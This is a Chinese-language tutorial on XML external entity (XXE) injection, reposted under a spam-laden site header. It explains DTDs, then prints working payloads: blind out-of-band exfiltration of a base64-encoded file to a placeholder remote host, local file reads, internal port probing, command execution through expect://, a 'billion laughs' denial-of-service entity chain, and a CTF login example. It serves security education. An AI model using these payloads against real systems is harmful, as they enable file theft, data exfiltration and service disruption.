日本免费高清视频-国产福利视频导航-黄色在线播放国产-天天操天天操天天操天天操|www.shdianci.com

學(xué)無先后,達(dá)者為師

網(wǎng)站首頁 編程語言 正文

XML實體注入深入理解_XML示例

作者:XINO ? 更新時間: 2022-11-22 編程語言

引文

在平常的WEB滲透中,我們經(jīng)常會遇到SQL注入、文件上傳、SSRF、CSRF等一系列的漏洞,但XXE漏洞在座的讀者們了解過嗎。今天帶大家了解一下這個危險程度同樣很高的XXE漏洞。

簡介

Xml外部實體注入漏洞(XML External Entity Injection)簡稱XXE,XXE漏洞發(fā)生在應(yīng)用程序解析XML輸入時,沒有禁止外部實體的加載,導(dǎo)致可以構(gòu)造加載惡意外部文件,進(jìn)而通過惡意外部文件對服務(wù)器進(jìn)行攻擊。

基礎(chǔ)知識

在了解XXE漏洞前,我們先看看什么是XML實體。XML根據(jù)簡單概括為如下:可擴展標(biāo)記語言 (Extensible Markup Language, XML) ,標(biāo)準(zhǔn)通用標(biāo)記語言的子集,可以用來標(biāo)記數(shù)據(jù)、定義數(shù)據(jù)類型,是一種允許用戶對自己的標(biāo)記語言進(jìn)行定義的源語言。 XML是標(biāo)準(zhǔn)通用標(biāo)記語言 可擴展性良好,內(nèi)容與形式分離,遵循嚴(yán)格的語法要求,保值性良好等優(yōu)點。

可能單看文字讀者們不太好理解,下面給大家簡單舉個例子:

上圖就是一個簡單的XML實體,用代碼顯示可以展示為:

<bookstore> 
    <book category="COOKING"> 
    <title lang="en">Everyday Italian</title>
    <author>Giada De Laurentiis</author> 
    <year>2005</year>
    <price>30.00</price>
    </book>
    <book category="CHILDREN"> 
    <title lang="en">Harry Potter</title> 
    <author>J K. Rowling</author> 
    <year>2005</year> 
    <price>29.99</price>
    </book>
    <book category="WEB"> 
    <title lang="en">Learning XML</title> 
    <author>Erik T. Ray</author> 
    <year>2003</year>
    <price>39.95</price> 
    </book>
</bookstore>

其中根的元素是 bookstore,book中 元素有子元素:author、title、year、price。

DTD

DTD(文檔類型定義)可以合法的定義xml標(biāo)簽,DTD 可被成行地聲明于 XML 文檔中,也可作為一個外部引用,接下來帶大家詳細(xì)看一下它的內(nèi)部結(jié)構(gòu)以更好的去理解。

內(nèi)部DOCTYPE聲明

<?xml version="1.0"?>
<!DOCTYPE note[                                        <!--定義此文檔是 note 類型的文檔-->
<!ELEMENT note (to,from,heading,body)>               <!--定義note元素有四個元素-->
<!ELEMENT X (#PCDATA)>                                   
<!ELEMENT I (#PCDATA)>                             
<!ELEMENT N (#PCDATA)>                     
<!ELEMENT O (#PCDATA)>                             
]>
<note>
<to>I</to>
<from>A</from>
<head>M</head>
<body>XINO!</body>
</note>

外部DOCTYPE聲明

<!DOCTYPE 根元素 SYSTEM "URL">

XML實體注入

了解了上面的基礎(chǔ)知識后,我們便可以進(jìn)一步學(xué)習(xí)XXE漏洞。

我們要想利用,首先要判斷服務(wù)器會不會解析XML實體,所以開始時我們先上傳一個測試文件來判斷服務(wù)器是否能解析該類型,如果解析了,我們才可以繼續(xù)利用這個漏洞。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name "hello">
]>
<root>&name;</root>

判斷服務(wù)器是否解析之后我們可以看看是否支持外部實體調(diào)用:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [ 
<!ENTITY name SYSTEM "vps/hack.dtd">
]>
<root>&name;</root>

判斷完之后就可以做進(jìn)一步測試了,比如:

無回顯XXE(BLIND XXE)

我們將獲取的數(shù)據(jù)發(fā)送到外部的http服務(wù)器上,后面查看http服務(wù)器即可查看到提取的數(shù)據(jù)內(nèi)容。

舉一個最簡單的例子:

#test.xml
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx/x.php?1=%file;'"
>
%all;

對應(yīng)的payload可以寫作為:

<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/test.xml">
%remote;
%send;
]>

首先對 remote 引用的目的是將外部文件 test.xml 引入到文中,檢測到 send 實體,在節(jié)點中引用 send,就可以成功實現(xiàn)數(shù)據(jù)轉(zhuǎn)發(fā)。也就實現(xiàn)了數(shù)據(jù)的外帶。

讀取任意文件

這個也是XXE比較常用的方法,我們引入(或編輯)一個DOCTYPE元素,該元素定義一個包含文件路徑的外部實體。

探測內(nèi)網(wǎng)端口

我們利用XXE也可以進(jìn)行內(nèi)網(wǎng)探測端口(類似于SSRF),以用來進(jìn)一步對機器照成攻擊:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://127.0.0.1:80">]>
<root>

命令執(zhí)行

這個還是比較少見的,因為命令執(zhí)行的條件比較苛刻,要求靶機php裝有expect擴展,但這個擴展是默認(rèn)不安裝的,所以比較難利用。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

dos拒絕服務(wù)

這個不是很了解,在網(wǎng)上瀏覽時注意到的,原理大概是利用迭代參數(shù)實體進(jìn)行拒絕服務(wù),讓服務(wù)器的解析變得非常非常慢。

<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY xxe1 "xxe">
<!ENTITY xxe2 "&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;">
<!ENTITY xxe3 "&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;">
<!ENTITY xxe4 "&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;">
<!ENTITY xxe5 "&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;">
<!ENTITY xxe6 "&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;">
]>
<test>&xxe6;</test>

例題

[PHP]XXE

打開是一個登錄界面:

在源碼處會發(fā)現(xiàn):

<button id="go" onclick="XMLFunction()">GO!</button>

可以判斷會解析XML文件,嘗試構(gòu)造payload直接讀取文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY admin SYSTEM "file:///flag">
]>
<root>
<username>&admin;</username>
<password>xino</password>
</root>

抓包構(gòu)造惡意數(shù)據(jù)然后發(fā)包:

結(jié)語

原文鏈接:https://juejin.cn/post/7150837705776529421

欄目分類
最近更新